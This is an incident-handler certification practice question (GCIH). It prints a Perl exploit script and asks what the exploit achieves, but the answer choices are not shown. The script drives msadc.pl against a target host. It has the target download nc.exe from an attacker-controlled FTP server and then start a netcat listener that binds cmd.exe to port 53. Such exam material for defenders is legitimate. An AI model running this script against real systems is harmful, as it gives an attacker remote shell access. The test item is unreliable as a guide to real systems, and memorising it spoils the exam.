GCIH Practice Test - Certified Incident Handler

Adam, a malicious hacker performs an exploit, which is given below: ##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ##################################################### $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...\n"; system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...(Have a ftp server)\n"; $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0); Which of the following is the expected result of the above exploit?